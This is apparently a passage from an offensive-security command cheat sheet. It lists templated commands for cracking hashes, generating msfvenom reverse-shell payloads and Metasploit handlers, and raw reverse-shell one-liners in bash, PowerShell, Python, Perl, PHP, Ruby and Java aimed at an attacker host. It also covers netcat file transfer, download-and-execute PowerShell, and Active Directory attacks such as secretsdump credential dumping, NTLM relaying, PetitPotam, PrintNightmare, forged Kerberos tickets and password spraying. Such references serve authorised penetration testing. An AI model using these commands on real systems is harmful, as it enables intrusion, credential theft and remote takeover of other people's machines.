hashcat -m 13100 --force -a 0 hashes <wordlist>
Mischashcat
hashcat - LM
hashcat -m 3000 -a 0 hashes <wordlist>
Mischashcat
hashcat - NTLM
hashcat -m 1000 -a 0 hashes <wordlist>
Mischashcat
hashcat - NTLMv1
hashcat -m 5500 -a 0 hashes <wordlist>
Mischashcat
hashcat - NTLMv2
hashcat -m 5600 -a 0 hashes <wordlist>
Mischashcat
hashcat - NTLMv2 - Combination attack (ex:passpass,testtest,passtest,etc)
hashcat -m 5600 --force -a 1 hashes <custom_wordlist> <custom_wordlist>
Mischashcat
john LM
john --wordlist=<wordlist> --format=lm hash.txt
Miscjohn
john NTLM
john --wordlist=<wordlist> --format=nt hash.txt
Miscjohn
john NTLMv1
john --wordlist=<wordlist> --format=netntlm hash.txt
Miscjohn
john NTLMv2
john --wordlist=<wordlist> --format=netntlmv2 hash.txt
Miscjohn
john ssh
john --wordlist=<wordlist> <ssh_hash|sshkey.hash>
Miscjohn
john ssh convert key
python /usr/share/john/ssh2john.py <ssh_key> > <ssh_hash|sshkey.hash>
Miscjohn

Reverse Shell55

ASP Meterpreter Reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp > shell.asp
Miscmsfvenom
Bash Unix Reverse Shell
msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=<port> -f raw > shell.sh
Miscmsfvenom
Csharp - xor encrypted
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> --encrypt xor --encrypt-key <key> -f csharp
Miscmsfvenom
DLL
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> -f dll -o <dll|output.dll>
Miscmsfvenom
JSP Java Meterpreter Reverse TCP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.jsp
Miscmsfvenom
Linux Meterpreter Reverse Shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elf
Miscmsfvenom
Linux Meterpreter Reverse TCP Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f <language>
Miscmsfvenom
Linux x64 Meterpreter Reverse tcp
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip|tun0> LPORT=<port> prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf
Miscmsfvenom
Mac Reverse Shell
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f macho > shell.macho
Miscmsfvenom
Mac Reverse TCP Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f <language>
Miscmsfvenom
MCreate User
msfvenom -p windows/adduser USER=<user|hacker> PASS='<pass|Hacker123$>' -f exe > adduser.exe
Miscmsfvenom
Metasploit - Handler linux tcp 64bits stagged - encoded xor
msfconsole -x "use exploits/multi/handler; set lhost <ip|tun0>; set lport <lport|443>; set payload windows/x64/meterpreter/reverse_https; set EXITFUNC thread; set EnableStageEncoding true; set StageEncoder x64/xor_dynamic; exploit"
Miscmsfvenom
Metasploit - Handler windows https 64bits stagged - encoded xor
msfconsole -x "use exploits/multi/handler; set lhost <ip>; set lport <port|443>; set payload windows/x64/meterpreter/reverse_https; set EXITFUNC thread; set EnableStageEncoding true; set StageEncoder <encoder|x64/xor_dynamic>; exploit"
Miscmsfvenom
Metasploit - Handler windows https 64bits unstaged
msfconsole -x "use exploits/multi/handler; set lhost <ip>; set lport <port|443>; set payload windows/x64/meterpreter_reverse_https; exploit"
Miscmsfvenom
Metasploit Handler windows https 32bits staged
msfconsole -x "use exploits/multi/handler; set lhost <ip>; set lport <port|443>; set payload windows/meterpreter/reverse_https; set EXITFUNC thread; exploit
Miscmsfvenom
Metasploit Handler windows https 64bits staged
msfconsole -x "use exploits/multi/handler; set lhost <ip>; set lport <port|443>; set payload windows/x64/meterpreter/reverse_https; exploit"
Miscmsfvenom
Metasploit Handler windows tcp 32bits staged
msfconsole -x "use exploits/multi/handler; set lhost <ip>; set lport <port>; set payload windows/meterpreter/reverse_tcp; exploit"
Miscmsfvenom
meterpreter x64 - https - non staged
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=<port|443> -f exe -o /var/www/html/msfnonstaged.exe
Miscmsfvenom
meterpreter x64 - https - staged
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> -f exe -o /var/www/html/msfstaged.exe
Miscmsfvenom
msfvenom - payload windows x86 meterpeter unstagged
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local_ip> LPORT=<local_port> -f exe > shell.exe
Miscmsfvenom
msfvenom payloads list
msfvenom --list payloads
Miscmsfvenom
Perl Unix Reverse shell
msfvenom -p cmd/unix/reverse_perl LHOST=<ip> LPORT=<port> -f raw > shell.pl
Miscmsfvenom
Powershell
msfvenom -p windows/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> EXITFUNC=thread -f ps1
Miscmsfvenom
powershell 32 bits
msfvenom -p windows/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> EXITFUNC=thread -f ps1
Miscmsfvenom
Python Reverse Shell
msfvenom -p cmd/unix/reverse_python LHOST=<ip> LPORT=<port> -f raw > shell.py
Miscmsfvenom
VBA 32bits
msfvenom -p windows/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> EXITFUNC=thread -f vbapplication
Miscmsfvenom
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > shell.war
Miscmsfvenom
Web Payloads
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.php
Miscmsfvenom
Windows Encoded Meterpreter Windows Reverse Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<local> -e shikata_ga_nai -i 3 -f exe > encoded.exe
Miscmsfvenom
Windows Meterpreter Reverse TCP Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe > shell.exe
Miscmsfvenom
Windows Meterpreter Reverse TCP Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f <language>
Miscmsfvenom
Windows Reverse TCP Shell
msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=<local> -f exe > shell.exe
Miscmsfvenom
nc bind shell linux
nc -nlvp <port> -e /bin/bash
Miscnclinux
nc bind shell windows
nc -nlvp <port> -e cmd.exe
Miscncwindows
nc reverse shell linux
nc -nv <ip> <port> -e /bin/bash
Attacknclinux
nc reverse shell windows
nc -nv <ip> <port> -e cmd.exe
Attackncwindows
nc setup listener
nc -nlvp <lport>
Miscnc
nc transfer file - receiver
nc -nlvp <port> > <incomming_file>
Attacknclinux
nc transfer file - sender
nc -nv <ip> <port> < <file_to_send>
Attacknclinux
ncat bind shell ssl connection
ncat -v <ip> <port> --ssl
Attacknclinux
ncat bind shell ssl filtered
ncat --exec cmd.exe --allow <allowed_ip> -vnl <port> --ssl
Attacknclinux
ncat HTTP WEB proxy
ncat --listen --proxy-type http <port>
Attacknclinux
[[Arsenal/Windows/powershell]] reverse shell
$client = New-Object System.Net.Sockets.TCPClient('<lhost>',<lport>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Miscreverse_shell
[[java]] reverse shell
r = Runtime.getRuntime();p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<lhost>/<lport>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]);p.waitFor()
Miscreverse_shell
bash reverse shell
bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
Miscreverse_shell
interactive reverse shell - and Ctrl+Z (1)
python -c 'import pty; pty.spawn("/bin/bash")'
Miscreverse_shell
interactive reverse shell - on host - and do fg (2)
stty raw -echo
Miscreverse_shell
interactive reverse shell - on reverse (3)
reset stty rows <ROWS> cols <COLS> export TERM=xterm-256color
Miscreverse_shell
perl reverse shell
perl -e 'use Socket;$i="<lhost>";$p=<lport>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Miscreverse_shell
php reverse shell
php -r '$sock=fsockopen("<lhost>",<lport>);exec("/bin/sh -i <&3 >&3 2>&3");'
Miscreverse_shell
python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<lhost>",<lport>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Miscreverse_shell
ruby reverse shell
ruby -rsocket -e'f=TCPSocket.open("<lhost>",<lport>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Miscreverse_shell
windows listener autocompletion
rlwrap nc -nlvp <port>
Miscreverse_shell
weevely web shell connection
weevely <url> <password>
Miscweb_shell
weevely web shell generation with output file
weevely generate <password> <output_file|web_shell.php>
Miscweb_shell

Metasploit13

add pivot (autoroute)
use multi/manage/autoroute
Pivotmsflinux
add socks proxy (autoroute first)
use auxiliary/server/socks_proxy
Pivotmsflinux
create process
execute -H -f <process|notepad>
Utilitymsflinux
enum LAPS
use post/windows/gather/credentials/enum_laps
Attackmsflinux
incognito impersonate token
impersonate_token <domain>\\<user>
Priv-escmsflinux
load incognito
load incognito
Priv-escmsflinux
migrate with name
migrate -N <process_name|notepad.exe>
Attackmsflinux
PPL remove
load kiwi kiwi_cmd "!processprotect /process:lsass.exe /remove" creds_all
Attackmsflinux
print route table
route print
Pivotmsflinux
show session list
sessions -l
Attackmsflinux
upgrade session to meterpreter
sessions -u <session_id>
Attackmsflinux
searchsploit mirror exploitDB id
searchsploit -m <ebdid>
Utilitysearchsploitlinux
searchsploit show exploitDB id
searchsploit -x <edbid>
Utilitysearchsploitlinux

Active Directory227

aclpwn - from computer to domain - dry run
aclpwn -f <computer_name> -ft computer -d <domain> -dry
Reconbloodhoundlinux
bloodhound - collect data
bloodhound-python -d <domain> -u <user> -p <password> -c all
Reconbloodhound:389:631linux
bloodhound - collect data (alternative)
bloodhound-python -d <domain> -u <user> -p <password> -gc <global_catalog> -dc <domain_controler> -c all
Reconbloodhound:389:631linux
bloodhound start IHM
bloodhound
Reconbloodhoundlinux
cypheroth - start
cypheroth -u <bh_user|neo4j> -p <bh_password|exegol4thewin> -d <domain>
Reconbloodhoundlinux
sharphound - collect bloodhound data
import-module sharphound.ps1 invoke-bloodhound -collectionmethod all -domain <domain>
Reconbloodhound:389:631windows
sharphound - collect bloodhound data download and execute
(new-object system.net.webclient).downloadstring('http://<lhost>/SharpHound.ps1') | Invoke-BloodHound -CollectionMethod All -domain <domain>
Reconbloodhound:389:631windows
start neo4j server
neo4j start
Utilitybloodhoundlinux
certipy - authenticate through LDAP (Schannel) with pfx certificate
certipy auth -pfx <pfx-file> -dc-ip <dc-ip> -ldap-shell
Connectcertipylinux
certipy - authenticate with pfx certificate
certipy auth -pfx <pfx-file>
Connectcertipylinux
certipy - Get NT hash - Shadow Credential
certipy shadow auto -u <user>@<domain> -p '<password>' -account <targeted-user>
Attackcertipylinux
certipy - Golden Certificate - forge certificate
certipy forge -ca-pfx <pfx-file> -upn <user>@<domain> -crl ldap://<dc-ip>:389
Attackcertipylinux
certipy - Golden Certificate - steal CA certificate and private key
certipy ca -u <user>@<domain> -p '<password>' -backup -ca <certificate-authority> -target-ip <ca-ip>
Attackcertipylinux
certipy - Issue certificate for specific request id - ESC7
certipy ca -u <user>@<domain> -p '<password>' -ca <certificate-authority> -issue-request <csr-id>
Attackcertipylinux
certipy - list certificate templates
certipy find -u <user>@<domain> -p '<password>' -dc-ip <dc-ip>
Reconcertipylinux
certipy - modify template in order to make it vulnerable to ESC1 - ESC4
certipy template -u <user>@<domain> -p '<password>' -template <template> -save-old
Attackcertipylinux
certipy - Modify user upn to another one - ESC9 - ESC10
certipy account update -u <user>@<domain> -p '<password>' -user <targeted-user> -upn <administrator-user>
Attackcertipylinux
certipy - relay authentication to CA Web Enrollment - ESC8
certipy relay -ca <ca-fqdn>
Attackcertipylinux
certipy - relay domain controller authentication to CA Web Enrollment - ESC8
certipy relay -ca <ca-fqdn> -template 'DomainController'
Attackcertipylinux
certipy - request certificate
certipy req -u <user>@<domain> -p '<password>' -target <ca-fqdn> -template <template> -ca <certificate-authority>
Attackcertipylinux
certipy - request certificate for another user - ESC1 - ESC6
certipy req -u <user>@<domain> -p '<password>' -target <ca-fqdn> -template <template> -ca <certificate-authority> -upn <targeted-user>@<domain>
Attackcertipylinux
certipy - request certificate on behalf of with Certificate Request Agent certificate - ESC3
certipy req -u <user>@<domain> -p '<password>' -target <ca-fqdn> -template <template> -ca <certificate-authority> -on-behalf-of '<NetBIOS-domain-name>\<targeted-user>' -pfx <pfx-file>
Attackcertipylinux
cme - ASREPRoast enum with authentication
nxc ldap <ip> -u <user> -p '<password>' --asreproast ASREProastables.txt --kdcHost <dc_ip>
Reconcme:389:639ldaplinux
cme - ASREPRoast enum without authentication
nxc ldap <ip> -u <user> -p '' --asreproast ASREProastables.txt --kdcHost <dc_ip>
Reconcme:389:639ldaplinux
cme - domain auth
nxc smb <ip> -u <user> -p <password> -d <domain>
Attackcme:445:139smblinux
cme - Dump LSA
nxc smb <ip> -u <user> -p <password> -d <domain> --lsa
Post-exploitcme:445:139smblinux
cme - dump lsass
nxc smb <ip> -u <user> -p <password> -d <domain> -M lsassy
Post-exploitcme:445:139smblinux
cme - dump lsass - with bloodhond update
nxc smb <ip> --local-auth -u <user> -H <hash> -M lsassy -o BLOODHOUND=True NEO4JUSER=<user|neo4j> NEO4JPASS=<neo4jpass|exegol4thewin>
Post-exploitcme:445:139smblinux
cme - dump ntds.dit
nxc smb <ip> -u <user> -p <password> -d <domain> --ntds
Post-exploitcme:445:139smblinux
cme - Dump SAM
nxc smb <ip> -u <user> -p <password> -d <domain> --sam
Post-exploitcme:445:139smblinux
cme - enable wdigest
nxc smb <ip> -u <user|Administrator> -p '<password>' --local-auth --wdigest enable
Post-exploitcme:445:139smblinux
cme - enumerate active sessions
nxc smb <ip> -u <user> -p '<password>' --sessions
Reconcme:445:139smblinux
cme - enumerate anonymous login
nxc smb <ip> -u 'a' -p ''
Attackcme:445:139smblinux
cme - enumerate disks
nxc smb <ip> -u <user> -p '<password>' --disks
Reconcme:445:139smblinux
cme - enumerate domain groups
nxc smb <ip> -u <user> -p '<password>' --groups
Reconcme:445:139smblinux
cme - enumerate domain users
nxc smb <ip> -u <user> -p '<password>' --users
Reconcme:445:139smblinux
cme - enumerate hosts, network
nxc smb <ip>
Reconcme:445smblinux
cme - enumerate local groups
nxc smb <ip> -u <user> -p '<password>' --local-groups
Reconcme:445:139smblinux
cme - enumerate logged users
nxc smb <ip> -u <user> -p '<password>' --loggedon-users
Reconcme:445:139smblinux
cme - enumerate null session
nxc smb <ip> -u '' -p ''
Attackcme:445:139smblinux
cme - enumerate password policy
nxc smb <ip> -u <user> -p '<password>' --pass-pol
Reconcme:445:139smblinux
cme - enumerate shares
nxc smb <ip> -u <user> -p <password> -d <domain> --shares
Reconcme:445:139smblinux
cme - enumerate smb target not signed
nxc smb <ip> --gen-relay-list smb_targets.txt
Reconcme:445:139smblinux
cme - enumerate users by bruteforce the RID
nxc smb <ip> -u <user> -p '<password>' --rid-brute
Reconcme:445:139smblinux
cme - get file
nxc smb <ip> -u <user> -p <password> --get-file <remote_path|\\Windows\\Temp\\target.txt> <local_file>
Attackcme:445smblinux
cme - Kerberoasting
nxc ldap <ip> -u <user> -p '<password>' --kerberoasting kerberoastables.txt --kdcHost <dc_ip>
Reconcme:389:639ldaplinux
cme - kerberos auth
nxc smb <ip> --kerberos
Attackcme:445:139smblinux
cme - local-auth
nxc smb <ip> -u <user> -p <password> --local-auth
Attackcme:445:139smblinux
cme - local-auth with hash
nxc smb <ip> -u <user> -H <hash> --local-auth
Attackcme:445:139smblinux
cme - loggout user
nxc smb <ip> -u <user> -p '<password>' -x 'quser' nxc smb <ip> -u <user> -p '<password>' -x 'logoff <id_user>' --no-output
Post-exploitcme:445:139smblinux
cme - mssql execute command
nxc mssql <ip> -u <user> -p '<password>' --local-auth -x <cmd|whoami>
Attackcme:1433mssqllinux
cme - mssql execute query
nxc mssql <ip> -u <user> -p '<password>' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'
Attackcme:1433mssqllinux
cme - mssql password spray
nxc mssql <ip> -u <user.txt> -p <password.txt> --no-bruteforce
Attackcme:1433mssqllinux
cme - password spray (user=password)
nxc smb <dc-ip> -u <user.txt> -p <password.txt> --no-bruteforce --continue-on-success
Attackcme:445:139smblinux
cme - password spray multiple test
nxc smb <dc-ip> -u <user.txt> -p <password.txt> --continue-on-success
Attackcme:445smblinux
cme - put file
nxc smb <ip> -u <user> -p <password> --put-file <local_file> <remote_path|\\Windows\\Temp\\target.txt>
Attackcme:445smblinux
cme - Unconstrained delegation
nxc ldap <ip> -u <user> -p '<password>' --trusted-for-delegation
Reconcme:389:639ldaplinux
cme - winrm-auth
nxc winrm <ip> -u <user> -p <password>
Attackcme:5985:5986winrmlinux
coercer - list vulns
coercer.py -d '<domain>' -u '<user>' -p '<password>' --listener <hackerIp> <targetIp>
Reconcoercerlinux
coercer - List vulns many targets
coercer.py -d '<domain>' -u '<user>' -p '<password>' --listener <hackerIp> --targets-file <PathToTargetFile>
Reconcoercerlinux
coercer - Webdav
coercer.py -d '<domain>' -u '<user>' -p '<password>' --webdav-host '<ResponderMachineName>' <targetIp>
Reconcoercerlinux
getarch - find target architecture (64 or 32 bits)
getArch.py -target <ip>
Reconimpacketlinux
lookupsid - SID User Enumeration, extract the information about what users exist and their data.
lookupsid.py <domain>/<user>:<password>@<ip>
Reconimpacketlinux
netview - enumeration tool (ip/shares/sessions/logged users) - need dns set
netview.py <domain>/<user> -target <ip> -users <users_file>
Reconimpacketlinux
reg - query registry info remotely
reg.py <domain>/<user>:<password>@<ip> query -keyName HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -s
Reconimpacketlinux
rpcdump - list rpc endpoint
rpcdump.py <domain>/<user>:<password>@<ip>
Reconimpacketlinux
services.py - (start, stop, delete, read status, config, list, create and change any service) remote
services.py <domain>/<user>:<password>@<ip> <action>
Reconimpacketlinux
atexec - execute command view the task scheduler
atexec.py <domain>/<user>:<password>@<ip> "command"
Attackimpacket-execute:445smblinux
atexec pass the hash (pth)
atexec.py -hashes <hash> <user>@<ip> "command"
Attackimpacket-execute:445smblinux
PSEXEC with kerberos
export KRB5CCNAME=<ccache_file>; psexec.py -dc-ip <dc_ip> -target-ip <ip>> -no-pass -k <domain>/<user>@<target_name>
Attackimpacket-execute:445smblinux
PSEXEC with pass the Hash (pth)
psexec.py -hashes <hash> <user>@<ip>
Attackimpacket-execute:445smblinux
PSEXEC with username
psexec.py <domain>/<user>:<password>@<ip>
Attackimpacket-execute:445smblinux
SMBEXEC with kerberos
export KRB5CCNAME=<ccache_file>; smbexec.py -dc-ip <dc_ip> -target-ip <ip>> -no-pass -k <domain>/<user>@<target_name>
Attackimpacket-execute:445smblinux
SMBEXEC with pass the Hash (pth)
smbexec.py -hashes <hash> <user>@<ip>
Attackimpacket-execute:445smblinux
SMBEXEC with username
smbexec.py <domain>/<user>:<password>@<ip>
Attackimpacket-execute:445smblinux
wmiexec
wmiexec.py <domain>/<user>:<password>@<ip>
Attackimpacket-execute:135wmilinux
wmiexec with pass the hash (pth)
wmiexec.py -hashes <hash> <user>@<ip>
Attackimpacket-execute:135wmilinux
GetADUser - gather data about the domain’s users and their corresponding email addresses
GetADUsers.py -all <domain>/<user>:<password> -dc-ip <dc_ip>
Reconimpacket-kerberoslinux
GetNPUsers - attempt to list and get TGTs for those users that have the property ‘Do not require Kerberos preauthentication’ (ASREPRoasting)
GetNPUsers.py -dc-ip <dc_ip> <domain>/ -usersfile <users_file> -format hashcat
Attackimpacket-kerberoslinux
GetNPUsers without password to get TGT (ASREPRoasting)
GetNPUsers.py <domain>/<user> -no-pass -request -format hashcat
Attackimpacket-kerberoslinux
GetTGT - request a TGT and save it as ccache for given a password, hash or aesKey
getTGT.py -dc-ip <dc_ip> -hashes <lm_hash>:<nt_hash> <domain>/<user>
Utilityimpacket-kerberoslinux
GetUSERSPN - find Service Principal Names that are associated with a normal user account (kerberoasting)
GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password>
Attackimpacket-kerberoslinux
MS14-068 - goldenPac
goldenPac.py -dc-ip <dc_ip> <domain>/<user>:'<password>'@<target>
Attackimpacket-kerberoslinux
Silver ticket - impersonate user
getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>
Attackimpacket-kerberoslinux
TicketConverter - convert kirbi files (commonly used by mimikatz) into ccache files used by impacket
ticketConverter.py <ccache_ticket_file> <ticket_kirbi_file>
Utilityimpacket-kerberoslinux
Ticketer - (golden ticket) - generate TGT/TGS tickets into ccache format which can be converted further into kirbi.
ticketer.py -nthash <nthash> -domain-sid <domain_sid> -domain <domain> <user>
Attackimpacket-kerberoslinux
Ticketer - (silver ticket) - generate TGS tickets into ccache format which can be converted further into kirbi.
ticketer.py -nthash <nthash> -domain-sid <domain_sid> -domain <domain> -spn <SPN> <user>
Attackimpacket-kerberoslinux
samrdump - system account, shares, etc... (dump info from the Security Account Manager (SAM))
samrdump.py <domain>/<user>:<password>@<ip>
Post-exploitimpacket-secretslinux
secretsdump
secretsdump.py '<domain>/<user>:<password>'@<ip>
Post-exploitimpacket-secretslinux
secretsdump - anonymous get administrator
secretsdump.py <domain>/<dc_bios_name>\$/@<ip> -no-pass -just-dc-user "Administrator"
Post-exploitimpacket-secretslinux
secretsdump - remote extract
secretsdump.py -just-dc-ntlm -outputfile <ntlm-extract-file> <domain>/<user>:<password>@<ip>
Post-exploitimpacket-secretslinux
secretsdump - remote extract + users infos
secretsdump.py -just-dc -pwd-last-set -user-status -outputfile <ntlm-extract-file> <domain>/<user>:<password>@<ip>
Post-exploitimpacket-secretslinux
secretsdump local dump - extract hash from ntds.dit
secretsdump.py -ntds <ntds_file.dit> -system <SYSTEM_FILE> -hashes <lmhash:nthash> LOCAL -outputfile <ntlm-extract-file>
Post-exploitimpacket-secretslinux
secretsdump local dump - extract hash from sam database
secretsdump.py -system <SYSTEM_FILE|SYSTEM> -sam <SAM_FILE|SAM> LOCAL
Post-exploitimpacket-secretslinux
ntlmrelay - authenticate and dump hash
ntlmrelayx.py -tf <targets_file> -smb2support
Attackimpacket-servertool-mitmlinux
ntlmrelay - host a payload that will automatically be served to the remote host connecting
ntlmrelayx.py -tf <targets_file> -smb2support -e <payload_file|payload.exe>
Attackimpacket-servertool-mitmlinux
ntlmrelay - socks
ntlmrelayx.py -tf <targets_file> -socks -smb2support
Attackimpacket-servertool-mitmlinux
ntlmrelay - to use with mitm6 - delegate access
ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access
Attackimpacket-servertool-mitmlinux
ntlmrelay - to use with mitm6 - relay to target
ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug
Attackimpacket-servertool-mitmlinux
smbserver - share smb folder
smbserver.py <shareName> <sharePath>
Attackimpacket-servertool-mitm:445smblinux
smbserver - share smb folder with authentication
smbserver.py -username <username> -password <password> <shareName> <sharePath>
Attackimpacket-servertool-mitm:445smblinux
smbclient - connect to smb on the target
smbclient.py <domain>/<user>:<password>@<ip>
Attackimpacket-smb_msrpc:445smblinux
exploit gpp - group policy preference (ms14-025)
msfconsole -x "use scanner/smb/smb_enum_gpp"
Reconkerberos:88kerberoslinux
kerberos enum users
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>'" <ip>
Reconkerberos:88kerberoslinux
kerberos enum users (with user list)
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>
Attackkerberos:88kerberoslinux
kerberos ms14-068
msfconsole -x "use auxiliary/admin/kerberos/ms14_068_kerberos_checksum"
Attackkerberos:88kerberoslinux
Kerbrute usersenum
./kerbrute_linux_amd64 userenum -d <domain> --dc <ip> <users_file>
Attackkerberos:88kerberoslinux
powershell - get user SPN
(new-object system.net.webclient).downloadstring('http://<lhost>/GetUserSPNs.ps1') | IEX
Reconkerberos:88kerberoswindows
find the list of group who can manipulate SAM data
Import-Module .\LAPSToolkit.ps1 Find-LAPSDelegatedGroups
Misclaps
get all machine passwords
foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
Post-exploitlapslinux
get laps computer list
Import-Module .\LAPSToolkit.ps1 Get-LAPSComputers
Misclaps
get laps passwords
Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize
Post-exploitlapslinux
metasploit get laps password
use windows/gather/credentials/enum_laps
Misclaps
powerview get laps password
Get-DomainObject <computer> -Properties "ms-mcs-AdmPwd",name
Misclaps
Lsassy basic usage with hash (ip or range)
lsassy -v -u <user> -H <hash> <ip>
Post-exploitlsassylinux
Lsassy basic usage with kerberos (ip or range)
lsassy -d <domain> -u <user> -k <ip_range>
Post-exploitlsassylinux
Lsassy basic usage with password (ip or range)
lsassy -d <domain> -u <user> -p <password> <ip>
Post-exploitlsassylinux
dementor
dementor.py -d <domain> -u <user> -p <password> <attacker_ip> <dc2>
Attackmachine_account_coerce_abuselinux
Finding Spooler services anonymous
rpcdump.py <dc> | grep -A 6 MS-RPRN
Reconmachine_account_coerce_abuselinux
Finding Spooler services listening
rpcdump.py <domain>/<user>:'<password>'@<dc> | grep MS-RPRN
Reconmachine_account_coerce_abuselinux
ntlmrelayx add computer
ntlmrelayx -t ldaps://<dc1> -smb2support --remove-mic --add-computer <computer_name> <computer_password> --delegate-access
Attackmachine_account_coerce_abuselinux
PetitPotam
PetitPotam.py -u <user> -p '<password>' -d <domain> <listener> <target>
Attackmachine_account_coerce_abuselinux
printerbug
printerbug.py '<domain>/<user>:<password>'@<ip> <attacker_ip>
Attackmachine_account_coerce_abuselinux
PrintNightmare
CVE-2021-1675.py <domain>/<user>:<password>@<target_ip> '\\<attacker_ip>\<share_name>\<dll_name|inject>.dll'
Attackmachine_account_coerce_abuselinux
Printspoofer privesc
PrintSpooferNet.exe \\.\pipe\test\pipe\spoolss <launch_cmd>
Attackmachine_account_coerce_abusewindows
secret dump with kerberos
secretsdump -k <dc>
Post-exploitmachine_account_coerce_abuselinux
Spoolsample
SpoolSample.exe <target_server> <capture_server>
Attackmachine_account_coerce_abusewindows
Spoolsample launch pipe
SpoolSample.exe <target_hostname> <target_hostname>/pipe/test
Attackmachine_account_coerce_abusewindows
use silver ticket
getST.py -spn host/<dc2> -impersonate <user_to_impersonate> -dc-ip <dc1_ip> '<domain>/<computer_name>$:<computer_password>'
Attackmachine_account_coerce_abuselinux
webclientservicescanner
webclientservicescanner '<domain>/<user>:<password>'@<ip_range>
Reconmachine_account_coerce_abuselinux
run mitm6 (to run with impacket-ntlmrelayx)
mitm6 -d <domain>
Attackmitm6linux
nxc - ASREPRoast enum with authentication
nxc ldap <ip> -u <user> -p '<password>' --asreproast ASREProastables.txt --kdcHost <dc_ip>
Reconnxc:389:639ldaplinux
nxc - ASREPRoast enum without authentication
nxc ldap <ip> -u <user> -p '' --asreproast ASREProastables.txt --kdcHost <dc_ip>
Reconnxc:389:639ldaplinux
nxc - domain auth
nxc smb <ip> -u <user> -p <password> -d <domain>
Attacknxc:445:139smblinux
nxc - Dump LSA
nxc smb <ip> -u <user> -p <password> -d <domain> --lsa
Post-exploitnxc:445:139smblinux
nxc - dump lsass
nxc smb <ip> -u <user> -p <password> -d <domain> -M lsassy
Post-exploitnxc:445:139smblinux
nxc - dump lsass - with bloodhond update
nxc smb <ip> --local-auth -u <user> -H <hash> -M lsassy -o BLOODHOUND=True NEO4JUSER=<user|neo4j> NEO4JPASS=<neo4jpass|exegol4thewin>
Post-exploitnxc:445:139smblinux
nxc - dump ntds.dit
nxc smb <ip> -u <user> -p <password> -d <domain> --ntds
Post-exploitnxc:445:139smblinux
nxc - Dump SAM
nxc smb <ip> -u <user> -p <password> -d <domain> --sam
Post-exploitnxc:445:139smblinux
nxc - enable wdigest
nxc smb <ip> -u <user|Administrator> -p '<password>' --local-auth --wdigest enable
Post-exploitnxc:445:139smblinux
nxc - enumerate active sessions
nxc smb <ip> -u <user> -p '<password>' --sessions
Reconnxc:445:139smblinux
nxc - enumerate anonymous login
nxc smb <ip> -u 'a' -p ''
Attacknxc:445:139smblinux
nxc - enumerate disks
nxc smb <ip> -u <user> -p '<password>' --disks
Reconnxc:445:139smblinux
nxc - enumerate domain groups
nxc smb <ip> -u <user> -p '<password>' --groups
Reconnxc:445:139smblinux
nxc - enumerate domain users
nxc smb <ip> -u <user> -p '<password>' --users
Reconnxc:445:139smblinux
nxc - enumerate hosts, network
nxc smb <ip>
Reconnxc:445smblinux
nxc - enumerate local groups
nxc smb <ip> -u <user> -p '<password>' --local-groups
Reconnxc:445:139smblinux
nxc - enumerate logged users
nxc smb <ip> -u <user> -p '<password>' --loggedon-users
